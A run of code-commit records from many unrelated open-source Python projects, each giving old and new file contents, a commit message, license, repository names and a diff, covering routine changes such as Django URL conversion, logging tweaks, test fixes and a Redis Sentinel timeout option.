# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
# implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import logging
from oslo.config import cfg
from gnocchi.openstack.common import log
LOG = log.getLogger(__name__)
def prepare_service():
cfg.CONF(project='gnocchi')
log.setup('gnocchi')
cfg.CONF.log_opt_values(LOG, logging.DEBUG)
| Set project name when parsing configuration | Set project name when parsing configuration
Change-Id: Ib66df49855be1577688bc66cf7c0ada4486ff198
| Python | apache-2.0 | idegtiarov/gnocchi-rep,idegtiarov/gnocchi-rep,leandroreox/gnocchi,leandroreox/gnocchi,idegtiarov/gnocchi-rep,gnocchixyz/gnocchi,sileht/gnocchi,gnocchixyz/gnocchi,sileht/gnocchi | ---
+++
@@ -23,6 +23,6 @@
def prepare_service():
- cfg.CONF()
+ cfg.CONF(project='gnocchi')
log.setup('gnocchi')
cfg.CONF.log_opt_values(LOG, logging.DEBUG) |
d95b64ded1cdb67bf80d5dae23cb6f7a31d43d03 | api/urls.py | api/urls.py | from django.conf import settings
from django.conf.urls import include, url
from rest_framework import routers
from api.views import CompanyViewSet
router = routers.DefaultRouter()
router.register(r"companies", CompanyViewSet)
urlpatterns = [
url(r"^", include(router.urls)),
# url(r'^api-auth/', include('rest_framework.urls', namespace='rest_framework'))
]
if settings.DEBUG:
from django.views.generic import TemplateView
urlpatterns += [
url(
"^data.json$",
TemplateView.as_view(
template_name="fixtures/data.json", content_type="text/json"
),
),
]
| from rest_framework import routers
from django.conf import settings
from django.urls import include, path, re_path
from api.views import CompanyViewSet
router = routers.DefaultRouter()
router.register(r"companies", CompanyViewSet)
urlpatterns = [
path("", include(router.urls)),
# path('api-auth/', include('rest_framework.urls', namespace='rest_framework'))
]
if settings.DEBUG:
from django.views.generic import TemplateView
urlpatterns += [
path(
"data.json",
TemplateView.as_view(
template_name="fixtures/data.json", content_type="text/json"
),
),
]
| Convert a few more `url`s to `path`s | Convert a few more `url`s to `path`s
| Python | mit | springload/madewithwagtail,springload/madewithwagtail,springload/madewithwagtail,springload/madewithwagtail | ---
+++
@@ -1,6 +1,7 @@
+from rest_framework import routers
+
from django.conf import settings
-from django.conf.urls import include, url
-from rest_framework import routers
+from django.urls import include, path, re_path
from api.views import CompanyViewSet
@@ -8,16 +9,16 @@
router.register(r"companies", CompanyViewSet)
urlpatterns = [
- url(r"^", include(router.urls)),
- # url(r'^api-auth/', include('rest_framework.urls', namespace='rest_framework'))
+ path("", include(router.urls)),
+ # path('api-auth/', include('rest_framework.urls', namespace='rest_framework'))
]
if settings.DEBUG:
from django.views.generic import TemplateView
urlpatterns += [
- url(
- "^data.json$",
+ path(
+ "data.json",
TemplateView.as_view(
template_name="fixtures/data.json", content_type="text/json"
), |
5195a9baae1a87632c55adf390ecc5f32d1a44cb | dict_to_file.py | dict_to_file.py | #!/usr/bin/python
import json
def storeJSON(dict, file_string):
with open(file_string, 'w') as fp:
json.dump(dict, fp, indent=4)
def storeTEX(dict, file_string):
with open(file_string, 'w') as fp:
fp.write("\\begin{tabular}\n")
fp.write(" \\hline\n")
fp.write(" ")
# First we need to write out the headers
for row in dict:
for column in dict[row]:
fp.write("& %s " % (column))
fp.write("\\\\\n")
break
fp.write(" \\hline\n")
# Now read all rows and output them as well
for row in dict:
fp.write(" %s " % (row))
for column in dict[row]:
fp.write("& %s " % dict[row][column])
fp.write("\\\\\n")
fp.write(" \\hline\n")
fp.write("\\end{tabular}\n")
| #!/usr/bin/python
import json
def storeJSON(dict, file_string):
with open(file_string, 'w') as fp:
json.dump(dict, fp, indent=4)
def storeTEX(dict, file_string):
with open(file_string, 'w') as fp:
fp.write("\\begin{tabular}\n")
fp.write(" \\hline\n")
fp.write(" ")
# First we need to write out the headers
for row in dict:
for column in dict[row]:
fp.write("& %s " % (column))
fp.write("\\\\\n")
break
fp.write(" \\hline\n")
# Now read all rows and output them as well
for row in dict:
fp.write(" %s " % (row))
for column in dict[row]:
fp.write("& %s / %s " % (dict[row][column][0], dict[row][column][1]))
fp.write("\\\\\n")
fp.write(" \\hline\n")
fp.write("\\end{tabular}\n")
| Fix latex output for splitted up/down values | Fix latex output for splitted up/down values
| Python | mit | knutzk/parse_latex_table | ---
+++
@@ -23,7 +23,7 @@
for row in dict:
fp.write(" %s " % (row))
for column in dict[row]:
- fp.write("& %s " % dict[row][column])
+ fp.write("& %s / %s " % (dict[row][column][0], dict[row][column][1]))
fp.write("\\\\\n")
fp.write(" \\hline\n")
fp.write("\\end{tabular}\n") |
e81cf35231e77d64f619169fc0625c0ae7d0edc8 | AWSLambdas/vote.py | AWSLambdas/vote.py | """
Watch Votes stream and update Sample ups and downs
"""
import json
import boto3
import time
import decimal
from boto3.dynamodb.conditions import Key, Attr
def vote_handler(event, context):
dynamodb = boto3.resource('dynamodb')
table = dynamodb.Table('Samples')
for record in event['Records']:
print(record['dynamodb']['NewImage'])
| """
Watch Votes stream and update Sample ups and downs
"""
import json
import boto3
import time
import decimal
from boto3.dynamodb.conditions import Key, Attr
def vote_handler(event, context):
dynamodb = boto3.resource('dynamodb')
table = dynamodb.Table('Samples')
ratings = dict()
for record in event['Records']:
type = record['eventName']
disposition = 0
if type == "INSERT" or type == "MODIFY":
disposition = int(record['dynamodb']['NewImage']['vote']['N'])
if type == "MODIFY" or type == "REMOVE":
disposition += -int(record['dynamodb']['OldImage']['vote']['N'])
sample = record['dynamodb']['Keys']['sample']['B']
ratings[sample] = ratings.get(sample, 0) + disposition
| Determine rating dispositions noted by the data changes and store them in a dictionary with the sample identification as the key. | Determine rating dispositions noted by the data changes and store them in a dictionary with the sample identification as the key.
| Python | mit | SandcastleApps/partyup,SandcastleApps/partyup,SandcastleApps/partyup | ---
+++
@@ -1,6 +1,6 @@
"""
Watch Votes stream and update Sample ups and downs
- """
+"""
import json
import boto3
@@ -11,7 +11,18 @@
def vote_handler(event, context):
dynamodb = boto3.resource('dynamodb')
table = dynamodb.Table('Samples')
+
+ ratings = dict()
for record in event['Records']:
- print(record['dynamodb']['NewImage'])
+ type = record['eventName']
+ disposition = 0
+ if type == "INSERT" or type == "MODIFY":
+ disposition = int(record['dynamodb']['NewImage']['vote']['N'])
+ if type == "MODIFY" or type == "REMOVE":
+ disposition += -int(record['dynamodb']['OldImage']['vote']['N'])
+ sample = record['dynamodb']['Keys']['sample']['B']
+ ratings[sample] = ratings.get(sample, 0) + disposition
+
+ |
a4f1fa704692894bcd568d02b23595e11910f791 | apps/searchv2/tests/test_utils.py | apps/searchv2/tests/test_utils.py | from datetime import datetime
from django.test import TestCase
from package.tests import data, initial_data
from searchv2.utils import remove_prefix, clean_title
class UtilFunctionTest(TestCase):
def test_remove_prefix(self):
values = ["django-me","django.me","django/me","django_me"]
for value in values:
self.assertEqual(remove_prefix(value), "me")
def test_clean_title(self):
values = ["django-me","django.me","django/me","django_me"]
for value in values:
self.assertEqual(clean_title(value), "djangome")
| from datetime import datetime
from django.conf import settings
from django.test import TestCase
from package.tests import data, initial_data
from searchv2.utils import remove_prefix, clean_title
class UtilFunctionTest(TestCase):
def setUp(self):
self.values = []
for value in ["-me",".me","/me","_me"]:
value = "{0}{1}".format(settings.PACKAGINATOR_SEARCH_PREFIX, value)
self.values.append(value)
def test_remove_prefix(self):
for value in self.values:
self.assertEqual(remove_prefix(value), "me")
def test_clean_title(self):
test_value = "{0}me".format(settings.PACKAGINATOR_SEARCH_PREFIX)
for value in self.values:
self.assertEqual(clean_title(value), test_value)
| Fix to make site packages more generic in tests | Fix to make site packages more generic in tests
| Python | mit | pydanny/djangopackages,audreyr/opencomparison,miketheman/opencomparison,nanuxbe/djangopackages,pydanny/djangopackages,QLGu/djangopackages,pydanny/djangopackages,miketheman/opencomparison,audreyr/opencomparison,benracine/opencomparison,nanuxbe/djangopackages,benracine/opencomparison,QLGu/djangopackages,nanuxbe/djangopackages,QLGu/djangopackages | ---
+++
@@ -1,19 +1,26 @@
from datetime import datetime
+from django.conf import settings
from django.test import TestCase
from package.tests import data, initial_data
from searchv2.utils import remove_prefix, clean_title
+
class UtilFunctionTest(TestCase):
+
+ def setUp(self):
+ self.values = []
+ for value in ["-me",".me","/me","_me"]:
+ value = "{0}{1}".format(settings.PACKAGINATOR_SEARCH_PREFIX, value)
+ self.values.append(value)
def test_remove_prefix(self):
- values = ["django-me","django.me","django/me","django_me"]
- for value in values:
+ for value in self.values:
self.assertEqual(remove_prefix(value), "me")
def test_clean_title(self):
- values = ["django-me","django.me","django/me","django_me"]
- for value in values:
- self.assertEqual(clean_title(value), "djangome")
+ test_value = "{0}me".format(settings.PACKAGINATOR_SEARCH_PREFIX)
+ for value in self.values:
+ self.assertEqual(clean_title(value), test_value)
|
cf4945e86de8f8365745afa3c3064dc093d25df8 | hunter/assigner.py | hunter/assigner.py | from .reviewsapi import ReviewsAPI
class Assigner:
def __init__(self):
self.reviewsapi = ReviewsAPI()
def certifications(self):
response = self.reviewsapi.certifications()
return [item['project_id'] for item in response if item['status'] == 'certified']
def projects_with_languages(self, certifications_list):
languages_list = self.reviewsapi.certified_languages()
projects_list = [{'project_id': project_id, 'language': language} for project_id in certifications_list for language in languages_list]
return {'projects': projects_list}
| from .reviewsapi import ReviewsAPI
class Assigner:
def __init__(self):
self.reviewsapi = ReviewsAPI()
def certifications(self):
response = self.reviewsapi.certifications()
return [item['project_id'] for item in response if item['status'] == 'certified']
def projects_with_languages(self, certifications):
languages = self.reviewsapi.certified_languages()
projects = [{'project_id': project_id, 'language': language} for project_id in certifications for language in languages]
return {'projects': projects}
| Improve names to reduce line size | Improve names to reduce line size
| Python | mit | anapaulagomes/reviews-assigner | ---
+++
@@ -10,8 +10,8 @@
response = self.reviewsapi.certifications()
return [item['project_id'] for item in response if item['status'] == 'certified']
- def projects_with_languages(self, certifications_list):
- languages_list = self.reviewsapi.certified_languages()
- projects_list = [{'project_id': project_id, 'language': language} for project_id in certifications_list for language in languages_list]
+ def projects_with_languages(self, certifications):
+ languages = self.reviewsapi.certified_languages()
+ projects = [{'project_id': project_id, 'language': language} for project_id in certifications for language in languages]
- return {'projects': projects_list}
+ return {'projects': projects} |
16ffb59ea744a95c7420fd8f4212d0c9a414f314 | tests/constants.py | tests/constants.py | TEST_TOKEN = 'abcdef'
TEST_USER = 'ubcdef'
TEST_DEVICE = 'my-phone'
| TEST_TOKEN = 'azGDORePK8gMaC0QOYAMyEEuzJnyUi'
TEST_USER = 'uQiRzpo4DXghDmr9QzzfQu27cmVRsG'
TEST_DEVICE = 'droid2'
| Switch to using Pushover's example tokens and such | Switch to using Pushover's example tokens and such
| Python | mit | scolby33/pushover_complete | ---
+++
@@ -1,3 +1,3 @@
-TEST_TOKEN = 'abcdef'
-TEST_USER = 'ubcdef'
-TEST_DEVICE = 'my-phone'
+TEST_TOKEN = 'azGDORePK8gMaC0QOYAMyEEuzJnyUi'
+TEST_USER = 'uQiRzpo4DXghDmr9QzzfQu27cmVRsG'
+TEST_DEVICE = 'droid2' |
e105b44e4c07b43c36290a8f5d703f4ff0b26953 | sqlshare_rest/util/query_queue.py | sqlshare_rest/util/query_queue.py | from sqlshare_rest.util.db import get_backend
from sqlshare_rest.models import Query
from django.utils import timezone
def process_queue():
filtered = Query.objects.filter(is_finished=False)
try:
oldest_query = filtered.order_by('id')[:1].get()
except Query.DoesNotExist:
return
backend = get_backend()
try:
res = backend.run_query(oldest_query.sql, oldest_query.owner)
except Exception as ex:
oldest_query.has_error = True
oldest_query.error = str(ex)
oldest_query.is_finished = True
oldest_query.date_finished = timezone.now()
print "Finished: ", oldest_query.date_finished
oldest_query.save()
| from sqlshare_rest.util.db import get_backend
from sqlshare_rest.models import Query
from django.utils import timezone
def process_queue():
filtered = Query.objects.filter(is_finished=False)
try:
oldest_query = filtered.order_by('id')[:1].get()
except Query.DoesNotExist:
return
backend = get_backend()
try:
res = backend.run_query(oldest_query.sql, oldest_query.owner)
except Exception as ex:
oldest_query.has_error = True
oldest_query.error = str(ex)
oldest_query.is_finished = True
oldest_query.date_finished = timezone.now()
oldest_query.save()
| Remove a print statement that was dumb and breaking python3 | Remove a print statement that was dumb and breaking python3
| Python | apache-2.0 | uw-it-aca/sqlshare-rest,uw-it-aca/sqlshare-rest,uw-it-aca/sqlshare-rest,uw-it-aca/sqlshare-rest | ---
+++
@@ -20,5 +20,4 @@
oldest_query.is_finished = True
oldest_query.date_finished = timezone.now()
- print "Finished: ", oldest_query.date_finished
oldest_query.save() |
78df776f31e5a23213b7f9d162a71954a667950a | opps/views/tests/__init__.py | opps/views/tests/__init__.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
from opps.views.tests.test_generic_detail import *
| #!/usr/bin/env python
# -*- coding: utf-8 -*-
from opps.views.tests.test_generic_detail import *
from opps.views.tests.test_generic_list import *
| Add test_generic_list on tests views | Add test_generic_list on tests views
| Python | mit | williamroot/opps,opps/opps,jeanmask/opps,opps/opps,YACOWS/opps,williamroot/opps,opps/opps,YACOWS/opps,jeanmask/opps,williamroot/opps,opps/opps,YACOWS/opps,jeanmask/opps,jeanmask/opps,williamroot/opps,YACOWS/opps | ---
+++
@@ -1,3 +1,4 @@
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from opps.views.tests.test_generic_detail import *
+from opps.views.tests.test_generic_list import * |
9bf442c90b920b9cf24936c47bc1fe398413e7f0 | tests/test_load.py | tests/test_load.py | from .utils import TemplateTestCase, Mock
from knights import Template
class LoadTagTest(TemplateTestCase):
def test_load_default(self):
t = Template('{! knights.defaultfilters !}')
self.assertIn('title', t.parser.filters)
class CommentTagText(TemplateTestCase):
def test_commend(self):
self.assertRendered('{# test #}', '')
| from .utils import TemplateTestCase, Mock
from knights import Template
class LoadTagTest(TemplateTestCase):
def test_load_default(self):
t = Template('{! knights.defaultfilters !}')
self.assertIn('title', t.parser.filters)
class CommentTagText(TemplateTestCase):
def test_comment(self):
self.assertRendered('{# test #}', '')
| Fix typo in test name | Fix typo in test name
| Python | mit | funkybob/knights-templater,funkybob/knights-templater | ---
+++
@@ -13,5 +13,5 @@
class CommentTagText(TemplateTestCase):
- def test_commend(self):
+ def test_comment(self):
self.assertRendered('{# test #}', '') |
76b40a801b69023f5983dcfa4ecd5e904792f131 | paypal/standard/pdt/forms.py | paypal/standard/pdt/forms.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
import django
from paypal.standard.forms import PayPalStandardBaseForm
from paypal.standard.pdt.models import PayPalPDT
class PayPalPDTForm(PayPalStandardBaseForm):
class Meta:
model = PayPalPDT
if django.VERSION >= (1, 6):
fields = '__all__'
| #!/usr/bin/env python
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
import django
from paypal.standard.forms import PayPalStandardBaseForm
from paypal.standard.pdt.models import PayPalPDT
class PayPalPDTForm(PayPalStandardBaseForm):
class Meta:
model = PayPalPDT
if django.VERSION >= (1, 6):
exclude = ('ipaddress', 'flag', 'flag_code', 'flag_info', 'query', 'response', 'created_at', 'updated', 'form_view',)
| Add non-PayPal fields to exclude | Add non-PayPal fields to exclude
All the non-paypal fields are blanked if you don't exclude them from the form.
| Python | mit | spookylukey/django-paypal,rsalmaso/django-paypal,spookylukey/django-paypal,rsalmaso/django-paypal,rsalmaso/django-paypal,GamesDoneQuick/django-paypal,spookylukey/django-paypal,GamesDoneQuick/django-paypal | ---
+++
@@ -12,4 +12,4 @@
class Meta:
model = PayPalPDT
if django.VERSION >= (1, 6):
- fields = '__all__'
+ exclude = ('ipaddress', 'flag', 'flag_code', 'flag_info', 'query', 'response', 'created_at', 'updated', 'form_view',) |
9260ae587c46f32047dbcfbe1610290282fcdf8c | pymatgen/util/__init__.py | pymatgen/util/__init__.py | # coding: utf-8
# Copyright (c) Pymatgen Development Team.
# Distributed under the terms of the MIT License.
from __future__ import unicode_literals
"""
The util package implements various utilities that are commonly used by various
packages.
"""
__author__ = "Shyue"
__date__ = "$Jun 6, 2011 7:30:05 AM$"
try:
import coord_util_cython
except ImportError:
import coord_util_python as coord_util_cython # use pure-python fallback
| # coding: utf-8
# Copyright (c) Pymatgen Development Team.
# Distributed under the terms of the MIT License.
from __future__ import unicode_literals
"""
The util package implements various utilities that are commonly used by various
packages.
"""
__author__ = "Shyue"
__date__ = "$Jun 6, 2011 7:30:05 AM$"
try:
import coord_utils_cython
except ImportError:
import coord_utils_python as coord_utils_cython # use pure-python fallback
| Fix spelling in coord_utils import. | Fix spelling in coord_utils import.
Former-commit-id: 03182f09c5e7cc2d7a5ca8b996baa82e4557e7fa [formerly 4011394beda266f4f43120e951b99bdc0470f93e]
Former-commit-id: 78985fde51ef15145a5ff42d8bd9fe05a8890b22 | Python | mit | gpetretto/pymatgen,ndardenne/pymatgen,vorwerkc/pymatgen,xhqu1981/pymatgen,czhengsci/pymatgen,gpetretto/pymatgen,aykol/pymatgen,dongsenfo/pymatgen,blondegeek/pymatgen,gpetretto/pymatgen,mbkumar/pymatgen,richardtran415/pymatgen,gVallverdu/pymatgen,nisse3000/pymatgen,nisse3000/pymatgen,gVallverdu/pymatgen,matk86/pymatgen,mbkumar/pymatgen,czhengsci/pymatgen,gmatteo/pymatgen,Bismarrck/pymatgen,richardtran415/pymatgen,fraricci/pymatgen,davidwaroquiers/pymatgen,dongsenfo/pymatgen,dongsenfo/pymatgen,johnson1228/pymatgen,johnson1228/pymatgen,nisse3000/pymatgen,matk86/pymatgen,aykol/pymatgen,gVallverdu/pymatgen,gmatteo/pymatgen,xhqu1981/pymatgen,fraricci/pymatgen,gpetretto/pymatgen,czhengsci/pymatgen,montoyjh/pymatgen,johnson1228/pymatgen,Bismarrck/pymatgen,ndardenne/pymatgen,setten/pymatgen,matk86/pymatgen,johnson1228/pymatgen,tallakahath/pymatgen,tschaume/pymatgen,matk86/pymatgen,gVallverdu/pymatgen,blondegeek/pymatgen,ndardenne/pymatgen,vorwerkc/pymatgen,tschaume/pymatgen,setten/pymatgen,vorwerkc/pymatgen,mbkumar/pymatgen,fraricci/pymatgen,tschaume/pymatgen,montoyjh/pymatgen,setten/pymatgen,tallakahath/pymatgen,tschaume/pymatgen,blondegeek/pymatgen,nisse3000/pymatgen,setten/pymatgen,montoyjh/pymatgen,blondegeek/pymatgen,davidwaroquiers/pymatgen,fraricci/pymatgen,dongsenfo/pymatgen,davidwaroquiers/pymatgen,czhengsci/pymatgen,Bismarrck/pymatgen,tallakahath/pymatgen,vorwerkc/pymatgen,mbkumar/pymatgen,richardtran415/pymatgen,tschaume/pymatgen,Bismarrck/pymatgen,montoyjh/pymatgen,richardtran415/pymatgen,aykol/pymatgen,Bismarrck/pymatgen,davidwaroquiers/pymatgen,xhqu1981/pymatgen | ---
+++
@@ -13,6 +13,6 @@
__date__ = "$Jun 6, 2011 7:30:05 AM$"
try:
- import coord_util_cython
+ import coord_utils_cython
except ImportError:
- import coord_util_python as coord_util_cython # use pure-python fallback
+ import coord_utils_python as coord_utils_cython # use pure-python fallback |
68625abd9bce7411aa27375a2668d960ad2021f4 | cell/results.py | cell/results.py | """cell.result"""
from __future__ import absolute_import
from __future__ import with_statement
from kombu.pools import producers
from .exceptions import CellError, NoReplyError
__all__ = ['AsyncResult']
class AsyncResult(object):
Error = CellError
NoReplyError = NoReplyError
def __init__(self, ticket, actor):
self.ticket = ticket
self.actor = actor
def _first(self, replies):
if replies is not None:
replies = list(replies)
if replies:
return replies[0]
raise self.NoReplyError('No reply received within time constraint')
def get(self, **kwargs):
return self._first(self.gather(**dict(kwargs, limit=1)))
def gather(self, propagate=True, **kwargs):
connection = self.actor.connection
gather = self._gather
with producers[connection].acquire(block=True) as producer:
for r in gather(producer.connection, producer.channel, self.ticket,
propagate=propagate, **kwargs):
yield r
def _gather(self, *args, **kwargs):
propagate = kwargs.pop('propagate', True)
return (self.to_python(reply, propagate=propagate)
for reply in self.actor._collect_replies(*args, **kwargs))
def to_python(self, reply, propagate=True):
try:
return reply['ok']
except KeyError:
error = self.Error(*reply.get('nok') or ())
if propagate:
raise error
return error
| """cell.result"""
from __future__ import absolute_import
from __future__ import with_statement
from kombu.pools import producers
from .exceptions import CellError, NoReplyError
__all__ = ['AsyncResult']
class AsyncResult(object):
Error = CellError
NoReplyError = NoReplyError
def __init__(self, ticket, actor):
self.ticket = ticket
self.actor = actor
self._result = None
def _first(self, replies):
if replies is not None:
replies = list(replies)
if replies:
return replies[0]
raise self.NoReplyError('No reply received within time constraint')
@property
def result(self):
if not self._result:
self._result = self.get()
return self.result
def get(self, **kwargs):
return self._first(self.gather(**dict(kwargs, limit=1)))
def gather(self, propagate=True, **kwargs):
connection = self.actor.connection
gather = self._gather
with producers[connection].acquire(block=True) as producer:
for r in gather(producer.connection, producer.channel, self.ticket,
propagate=propagate, **kwargs):
yield r
def _gather(self, *args, **kwargs):
propagate = kwargs.pop('propagate', True)
return (self.to_python(reply, propagate=propagate)
for reply in self.actor._collect_replies(*args, **kwargs))
def to_python(self, reply, propagate=True):
try:
return reply['ok']
except KeyError:
error = self.Error(*reply.get('nok') or ())
if propagate:
raise error
return error
| Add result property to AsyncResult (it blocks if the result has not been previously retrieved, or return the result otherwise) | Add result property to AsyncResult
(it blocks if the result has not been previously retrieved, or return the
result otherwise)
| Python | bsd-3-clause | celery/cell,celery/cell | ---
+++
@@ -17,6 +17,7 @@
def __init__(self, ticket, actor):
self.ticket = ticket
self.actor = actor
+ self._result = None
def _first(self, replies):
if replies is not None:
@@ -24,7 +25,14 @@
if replies:
return replies[0]
raise self.NoReplyError('No reply received within time constraint')
-
+
+ @property
+ def result(self):
+ if not self._result:
+ self._result = self.get()
+ return self.result
+
+
def get(self, **kwargs):
return self._first(self.gather(**dict(kwargs, limit=1)))
|
9e2db322eed4a684ac9d7fe8944d9a8aff114929 | problib/example1/__init__.py | problib/example1/__init__.py | from sympy import symbols, cos, sin
from mathdeck import rand
metadata = {
'author': 'Bob Hope',
'institution': 'University of Missouri',
'subject': 'algebra',
'minor subject': 'polynomial equations',
'tags': ['simplify','roots','intervals']
}
r = rand.Random()
# # choose three random integers between 0 and 10.
# root1 = r.randint(0,10)
# root2 = r.randint(0,10)
# root3 = r.randint(0,10)
#
# # specify our variables
x = symbols('x')
#
# # define a polynomial whose roots are root1 and root2 and expand it
#
# # define what the output will look like
# template = r"""
# Find the roots of the polynomial $p(x) = {{p | format=latex}}$:
# """
#
ans1 = {
'name': 'ans1',
'value': cos(x)**2-sin(x)**2,
'type': 'function',
}
answers = [ans1]
| from sympy import symbols, cos, sin
from mathdeck import rand
metadata = {
'author': 'Bob Hope',
'institution': 'University of Missouri',
'subject': 'algebra',
'minor subject': 'polynomial equations',
'tags': ['simplify','roots','intervals']
}
r = rand.Random()
# # choose three random integers between 0 and 10.
# root1 = r.randint(0,10)
# root2 = r.randint(0,10)
# root3 = r.randint(0,10)
#
# # specify our variables
x = symbols('x')
#
# # define a polynomial whose roots are root1 and root2 and expand it
#
# # define what the output will look like
# template = r"""
# Find the roots of the polynomial $p(x) = {{p | format=latex}}$:
# """
#
ans1 = {
'name': 'ans1',
'value': cos(x)**2-sin(x)**2,
'type': 'function',
}
answers = {
"ans1": ans1
}
| Change answers attribute to dictionary | Change answers attribute to dictionary
| Python | apache-2.0 | patrickspencer/mathdeck,patrickspencer/mathdeck | ---
+++
@@ -32,5 +32,7 @@
'type': 'function',
}
-answers = [ans1]
+answers = {
+ "ans1": ans1
+ }
|
39a0094f87bf03229eacb81c5bc86b55c8893ceb | serving.py | serving.py | # -*- coding: utf-8 -*-
"""Extend werkzeug request handler to suit our needs."""
import time
from werkzeug.serving import BaseRequestHandler
class ShRequestHandler(BaseRequestHandler):
"""Extend werkzeug request handler to suit our needs."""
def handle(self):
self.shRequestStarted = time.time()
rv = super(ShRequestHandler, self).handle()
return rv
def send_response(self, *args, **kw):
self.shRequestProcessed = time.time()
super(ShRequestHandler, self).send_response(*args, **kw)
def log_request(self, code='-', size='-'):
duration = int((self.shRequestProcessed - self.shRequestStarted) * 1000)
self.log('info', '"{0}" {1} {2} [{3}ms]'.format(self.requestline, code, size, duration))
| # -*- coding: utf-8 -*-
"""Extend werkzeug request handler to suit our needs."""
import time
from werkzeug.serving import BaseRequestHandler
class ShRequestHandler(BaseRequestHandler):
"""Extend werkzeug request handler to suit our needs."""
def handle(self):
self.shRequestStarted = time.time()
rv = super(ShRequestHandler, self).handle()
return rv
def send_response(self, *args, **kw):
self.shRequestProcessed = time.time()
super(ShRequestHandler, self).send_response(*args, **kw)
def log_request(self, code='-', size='-'):
duration = int((self.shRequestProcessed - self.shRequestStarted) * 1000)
self.log('info', u'"{0}" {1} {2} [{3}ms]'.format(self.requestline.replace('%', '%%'), code, size, duration))
| Handle logging when a '%' character is in the URL. | Handle logging when a '%' character is in the URL.
| Python | bsd-3-clause | Sendhub/flashk_util | ---
+++
@@ -18,5 +18,5 @@
def log_request(self, code='-', size='-'):
duration = int((self.shRequestProcessed - self.shRequestStarted) * 1000)
- self.log('info', '"{0}" {1} {2} [{3}ms]'.format(self.requestline, code, size, duration))
+ self.log('info', u'"{0}" {1} {2} [{3}ms]'.format(self.requestline.replace('%', '%%'), code, size, duration))
|
379bec30964d34cde01b3a3cd9875efdaad5fc41 | create_task.py | create_task.py | #!/usr/bin/env python
import TheHitList
from optparse import OptionParser
if __name__ == '__main__':
parser = OptionParser()
parser.add_option("--list", dest="list", help="List tasks in Inbox", default=False,action="store_true")
(opts,args) = parser.parse_args()
thl = TheHitList.Application()
if(opts.list):
for task in thl.inbox().tasks():
print task.title
exit()
if(len(args)==0): parser.error('Missing Task')
newtask = TheHitList.Task()
newtask.title = ' '.join(args)
thl.inbox().add_task(newtask)
print 'Task (%s) has been added'%newtask.title
| #!/usr/bin/env python
import TheHitList
from optparse import OptionParser
if __name__ == '__main__':
parser = OptionParser()
parser.add_option("--show", dest="show", help="Show tasks in a list", default=None)
parser.add_option("--list", dest="list", help="Add task to a specific list", default=None)
(opts,args) = parser.parse_args()
thl = TheHitList.Application()
if(opts.show):
if opts.show == 'inbox':
list = thl.inbox()
else:
list = thl.find_list(opts.show)
for task in list.tasks():
print task.title
exit()
if(len(args)==0): parser.error('Missing Task')
newtask = TheHitList.Task()
newtask.title = ' '.join(args)
if opts.list is None:
list = thl.inbox()
else:
list = thl.find_list(opts.list)
list.add_task(newtask)
print 'Task (%s) has been added'%newtask.title
| Add support for adding a task to a specific list Add support for listing all tasks in a specific list | Add support for adding a task to a specific list
Add support for listing all tasks in a specific list | Python | mit | vasyvas/thehitlist,kfdm-archive/thehitlist | ---
+++
@@ -4,13 +4,18 @@
if __name__ == '__main__':
parser = OptionParser()
- parser.add_option("--list", dest="list", help="List tasks in Inbox", default=False,action="store_true")
+ parser.add_option("--show", dest="show", help="Show tasks in a list", default=None)
+ parser.add_option("--list", dest="list", help="Add task to a specific list", default=None)
(opts,args) = parser.parse_args()
thl = TheHitList.Application()
- if(opts.list):
- for task in thl.inbox().tasks():
+ if(opts.show):
+ if opts.show == 'inbox':
+ list = thl.inbox()
+ else:
+ list = thl.find_list(opts.show)
+ for task in list.tasks():
print task.title
exit()
@@ -18,6 +23,10 @@
newtask = TheHitList.Task()
newtask.title = ' '.join(args)
- thl.inbox().add_task(newtask)
+ if opts.list is None:
+ list = thl.inbox()
+ else:
+ list = thl.find_list(opts.list)
+ list.add_task(newtask)
print 'Task (%s) has been added'%newtask.title
|
c38261a4b04e7d64c662a6787f3ef07fc4686b74 | pybossa/sentinel/__init__.py | pybossa/sentinel/__init__.py | from redis import sentinel, StrictRedis
class Sentinel(object):
def __init__(self, app=None):
self.app = app
self.master = StrictRedis()
self.slave = self.master
if app is not None: # pragma: no cover
self.init_app(app)
def init_app(self, app):
self.connection = sentinel.Sentinel(app.config['REDIS_SENTINEL'],
socket_timeout=0.1,
retry_on_timeout=True)
redis_db = app.config.get('REDIS_DB') or 0
self.master = self.connection.master_for('mymaster', db=redis_db)
self.slave = self.connection.slave_for('mymaster', db=redis_db)
| from redis import sentinel, StrictRedis
class Sentinel(object):
def __init__(self, app=None):
self.app = app
self.master = StrictRedis()
self.slave = self.master
if app is not None: # pragma: no cover
self.init_app(app)
def init_app(self, app):
self.connection = sentinel.Sentinel(app.config['REDIS_SENTINEL'],
socket_timeout=0.1,
retry_on_timeout=True,
socket_connect_timeout=0.1)
redis_db = app.config.get('REDIS_DB') or 0
self.master = self.connection.master_for('mymaster', db=redis_db)
self.slave = self.connection.slave_for('mymaster', db=redis_db)
| Add socket connect timeout option to sentinel connection | Add socket connect timeout option to sentinel connection
| Python | agpl-3.0 | PyBossa/pybossa,jean/pybossa,inteligencia-coletiva-lsd/pybossa,inteligencia-coletiva-lsd/pybossa,Scifabric/pybossa,Scifabric/pybossa,PyBossa/pybossa,OpenNewsLabs/pybossa,jean/pybossa,OpenNewsLabs/pybossa,geotagx/pybossa,geotagx/pybossa | ---
+++
@@ -13,7 +13,8 @@
def init_app(self, app):
self.connection = sentinel.Sentinel(app.config['REDIS_SENTINEL'],
socket_timeout=0.1,
- retry_on_timeout=True)
+ retry_on_timeout=True,
+ socket_connect_timeout=0.1)
redis_db = app.config.get('REDIS_DB') or 0
self.master = self.connection.master_for('mymaster', db=redis_db)
self.slave = self.connection.slave_for('mymaster', db=redis_db) |
7666a29aafe22a51abfd5aee21b62c71055aea78 | tests/test_account.py | tests/test_account.py | # Filename: test_account.py
"""
Test the lendingclub2.accountmodule
"""
# PyTest
import pytest
# lendingclub2
from lendingclub2.account import InvestorAccount
from lendingclub2.error import LCError
class TestInvestorAccount(object):
def test_properties(self):
investor = InvestorAccount()
try:
investor.id()
except LCError:
pytest.skip("skip because cannot find account ID")
